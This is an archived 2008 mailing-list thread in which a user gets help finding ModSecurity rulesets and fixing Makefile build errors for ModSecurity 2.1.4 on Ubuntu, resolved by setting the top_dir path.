
 

From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of Robin Diederen
Sent: Thursday, January 03, 2008 4:08 PM
To: Ryan Barnett; mod-security-users <at> lists.sourceforge.net
Subject: Re: [mod-security-users] Core rules for mod_security 1.9x orsomediffere solution...

 

Hi Ryan (and others),

 

Thanks for the tips. I tried to download the GotRoot rulesets, but, they are offline.

 

For what the compilation of mod_security v2 is concerned.. I get these errors:

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make

Makefile:40: /etc/apache2/build/special.mk: No such file or directory

make: *** No rule to make target `/etc/apache2/build/special.mk'.  Stop.

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#

 

So then I comment out the reference to special.mk (the build directory does exists in the specified location). Then I comment out the line referring to special.mk; I get this error:

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make

make: *** No rule to make target `local-shared-build', needed by `all'.  Stop.

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#

 

I did install the Apache development packages.

 

Any clues?

 

Best, Robin

 

From: Ryan Barnett [mailto:Ryan.Barnett <at> Breach.com]
Sent: donderdag 3 januari 2008 1:35
To: Robin Diederen; mod-security-users <at> lists.sourceforge.net
Subject: RE: [mod-security-users] Core rules for mod_security 1.9x or somediffere solution...

 

There are 2 different places you can look –

 

Keep in mind that both of these rulesets have some limitations (see http://www.modsecurity.org/blog/archives/2007/01/key_advantages.html) which is why we created the Core Rules.  They will, however, provide you with a starting point.

 

As for your compilation errors with the 2.x code, did you see this past email thread? http://marc.info/?l=mod-security-users&m=119364832414967&w=2  Are you seeing the same errors?

 

--
Ryan C. Barnett
ModSecurity Community Manager

Breach Security: Director of Training

Web Application Security Consortium (WASC) Member

CIS Apache Benchmark Project Lead

SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC

Author: Preventing Web Attacks with Apache

 

From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of Robin Diederen
Sent: Wednesday, January 02, 2008 6:19 PM
To: mod-security-users <at> lists.sourceforge.net
Subject: [mod-security-users] Core rules for mod_security 1.9x or somediffere solution...

 

Hello all,

 

First, let me introduce myself. My name is Robin and I just got into hosting (I’m hosting my own websites). While Googlin’ the internet for security enhancements for web servers, I stumbled upon mod_security. After some reading, I decided to give the module a try, as it sounds as quite a promising gain.

 

So I downloaded mod_security on my webserver (Ubuntu 6.0.6 LTS LAMP installation) by using the version offered through the Ubuntu repository. That went well (I would not have expected otherwise). Then, I downloaded the latest core ruleset from the mod_security website. However, that one didn’t work, as it is meant for 2.x versions of mod_security.

 

So now I’m looking for a ruleset that can work with the older mod_security (yeah I know I should not be doing that, but, then again, it’s only for testing purposes) or… a way to install mod_security on my Ubuntu installation (the make process always breaks on various error; some I can resolve, some not).

 

Who can help me?

 

Best, Robin

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users
Robin Diederen | 3 Jan 22:30
Picon

Re: Core rules for mod_security 1.9x orsomediffere solution...

Hi Michael,

Thanks for the notice, that's great to hear!

Best, Robin

-----Original Message-----
From: Michael Shinn [mailto:mike <at> gotroot.com] 
Sent: donderdag 3 januari 2008 22:12
To: Robin Diederen
Cc: mod-security-users <at> lists.sourceforge.net
Subject: Re: [mod-security-users] Core rules for mod_security 1.9x
orsomediffere solution...

The gotroot files archive (which includes the rules) is offline for a
few hours due to scheduled maintenance.  It should be back up before the
end of the day.

On Thu, 2008-01-03 at 22:07 +0100, Robin Diederen wrote:
> Hi Ryan (and others),
> 
>  
> 
> Thanks for the tips. I tried to download the GotRoot rulesets, but,
> they are offline.
> 
>  
> 
> For what the compilation of mod_security v2 is concerned.. I get these
> errors:
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make
> 
> Makefile:40: /etc/apache2/build/special.mk: No such file or directory
> 
> make: *** No rule to make target `/etc/apache2/build/special.mk'.
> Stop.
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#
> 
>  
> 
> So then I comment out the reference to special.mk (the build directory
> does exists in the specified location). Then I comment out the line
> referring to special.mk; I get this error:
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make
> 
> make: *** No rule to make target `local-shared-build', needed by
> `all'.  Stop.
> 
> root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#
> 
>  
> 
> I did install the Apache development packages.
> 
>  
> 
> Any clues?
> 
>  
> 
> Best, Robin
> 
>  
> 
>                                    
> ______________________________________________________________________
> From:Ryan Barnett [mailto:Ryan.Barnett <at> Breach.com] 
> Sent: donderdag 3 januari 2008 1:35
> To: Robin Diederen; mod-security-users <at> lists.sourceforge.net
> Subject: RE: [mod-security-users] Core rules for mod_security 1.9x or
> somediffere solution...
> 
> 
>  
> 
> There are 2 different places you can look -
> 
>       * The ModSecurity CVS archive for the 1.9 branch has some rules
>         - http://mod-security.cvs.sourceforge.net/mod-security/rules/
>       * Check out the GotRoot Rules -
>         http://www.gotroot.com/mod_security+rules
> 
>  
> 
> Keep in mind that both of these rulesets have some limitations (see
> http://www.modsecurity.org/blog/archives/2007/01/key_advantages.html)
> which is why we created the Core Rules.  They will, however, provide
> you with a starting point.
> 
>  
> 
> As for your compilation errors with the 2.x code, did you see this
> past email thread?
> http://marc.info/?l=mod-security-users&m=119364832414967&w=2  Are you
> seeing the same errors?
> 
>  
> 
> -- 
> Ryan C. Barnett
> ModSecurity Community Manager
> 
> Breach Security: Director of Training
> 
> Web Application Security Consortium (WASC) Member
> 
> CIS Apache Benchmark Project Lead
> 
> SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC
> 
> Author: Preventing Web Attacks with Apache
> 
> 
>  
> 
> 
>                                    
> ______________________________________________________________________
> From:mod-security-users-bounces <at> lists.sourceforge.net
> [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of
> Robin Diederen
> Sent: Wednesday, January 02, 2008 6:19 PM
> To: mod-security-users <at> lists.sourceforge.net
> Subject: [mod-security-users] Core rules for mod_security 1.9x or
> somediffere solution...
> 
> 
>  
> 
> Hello all,
> 
>  
> 
> First, let me introduce myself. My name is Robin and I just got into
> hosting (I'm hosting my own websites). While Googlin' the internet for
> security enhancements for web servers, I stumbled upon mod_security.
> After some reading, I decided to give the module a try, as it sounds
> as quite a promising gain.
> 
>  
> 
> So I downloaded mod_security on my webserver (Ubuntu 6.0.6 LTS LAMP
> installation) by using the version offered through the Ubuntu
> repository. That went well (I would not have expected otherwise).
> Then, I downloaded the latest core ruleset from the mod_security
> website. However, that one didn't work, as it is meant for 2.x
> versions of mod_security.
> 
>  
> 
> So now I'm looking for a ruleset that can work with the older
> mod_security (yeah I know I should not be doing that, but, then again,
> it's only for testing purposes) or. a way to install mod_security on
> my Ubuntu installation (the make process always breaks on various
> error; some I can resolve, some not).
> 
>  
> 
> Who can help me?
> 
>  
> 
> Best, Robin
> 
> 
> -------------------------------------------------------------------------
> This SF.net email is sponsored by: Microsoft
> Defy all challenges. Microsoft(R) Visual Studio 2005.
> http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
> _______________________________________________ mod-security-users mailing
list mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users
-- 
Michael T. Shinn                                    KeyID:0xDAE2EC86
Key Fingerprint:  1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86
SANS Advisory Board Member

Got Root?  http://www.gotroot.com
modsecurity rules: http://www.modsecurityrules.com
Troubleshooting Firewalls:  http://troubleshootingfirewalls.com

--

-- 
No virus found in this incoming message.
Checked by AVG Free Edition. 
Version: 7.5.516 / Virus Database: 269.17.13/1207 - Release Date: 2-1-2008
11:29

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
Robin Diederen | 3 Jan 22:59
Picon

Re: Core rules for mod_security 1.9x orsomediffere solution...

Hi Ryan,

 

I did set the top_dir variable to my serverroot settings, as documented. Now I set it to /usr/lib/apache2 and it works. Thanks!

 

Best, Robin

 

From: Ryan Barnett [mailto:Ryan.Barnett <at> Breach.com]
Sent: donderdag 3 januari 2008 22:24
To: Robin Diederen; mod-security-users <at> lists.sourceforge.net
Subject: RE: [mod-security-users] Core rules for mod_security 1.9x orsomediffere solution...

 

Did you edit the “top_dir” setting in the Makefile to point to your Apache install?  The build/special.mk file should be under the location you specify.

 

--
Ryan C. Barnett
ModSecurity Community Manager

Breach Security: Director of Training

Web Application Security Consortium (WASC) Member

CIS Apache Benchmark Project Lead

SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC

Author: Preventing Web Attacks with Apache

 

From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of Robin Diederen
Sent: Thursday, January 03, 2008 4:08 PM
To: Ryan Barnett; mod-security-users <at> lists.sourceforge.net
Subject: Re: [mod-security-users] Core rules for mod_security 1.9x orsomediffere solution...

 

Hi Ryan (and others),

 

Thanks for the tips. I tried to download the GotRoot rulesets, but, they are offline.

 

For what the compilation of mod_security v2 is concerned.. I get these errors:

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make

Makefile:40: /etc/apache2/build/special.mk: No such file or directory

make: *** No rule to make target `/etc/apache2/build/special.mk'.  Stop.

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#

 

So then I comment out the reference to special.mk (the build directory does exists in the specified location). Then I comment out the line referring to special.mk; I get this error:

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2# make

make: *** No rule to make target `local-shared-build', needed by `all'.  Stop.

root <at> web:~/ModSecurity/modsecurity-apache_2.1.4/apache2#

 

I did install the Apache development packages.

 

Any clues?

 

Best, Robin

 

From: Ryan Barnett [mailto:Ryan.Barnett <at> Breach.com]
Sent: donderdag 3 januari 2008 1:35
To: Robin Diederen; mod-security-users <at> lists.sourceforge.net
Subject: RE: [mod-security-users] Core rules for mod_security 1.9x or somediffere solution...

 

There are 2 different places you can look –

 

Keep in mind that both of these rulesets have some limitations (see http://www.modsecurity.org/blog/archives/2007/01/key_advantages.html) which is why we created the Core Rules.  They will, however, provide you with a starting point.

 

As for your compilation errors with the 2.x code, did you see this past email thread? http://marc.info/?l=mod-security-users&m=119364832414967&w=2  Are you seeing the same errors?

 

--
Ryan C. Barnett
ModSecurity Community Manager

Breach Security: Director of Training

Web Application Security Consortium (WASC) Member

CIS Apache Benchmark Project Lead

SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC

Author: Preventing Web Attacks with Apache

 

From: mod-security-users-bounces <at> lists.sourceforge.net [mailto:mod-security-users-bounces <at> lists.sourceforge.net] On Behalf Of Robin Diederen
Sent: Wednesday, January 02, 2008 6:19 PM
To: mod-security-users <at> lists.sourceforge.net
Subject: [mod-security-users] Core rules for mod_security 1.9x or somediffere solution...

 

Hello all,

 

First, let me introduce myself. My name is Robin and I just got into hosting (I’m hosting my own websites). While Googlin’ the internet for security enhancements for web servers, I stumbled upon mod_security. After some reading, I decided to give the module a try, as it sounds as quite a promising gain.

 

So I downloaded mod_security on my webserver (Ubuntu 6.0.6 LTS LAMP installation) by using the version offered through the Ubuntu repository. That went well (I would not have expected otherwise). Then, I downloaded the latest core ruleset from the mod_security website. However, that one didn’t work, as it is meant for 2.x versions of mod_security.

 

So now I’m looking for a ruleset that can work with the older mod_security (yeah I know I should not be doing that, but, then again, it’s only for testing purposes) or… a way to install mod_security on my Ubuntu installation (the make process always breaks on various error; some I can resolve, some not).

 

Who can help me?

 

Best, Robin

-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users

Gmane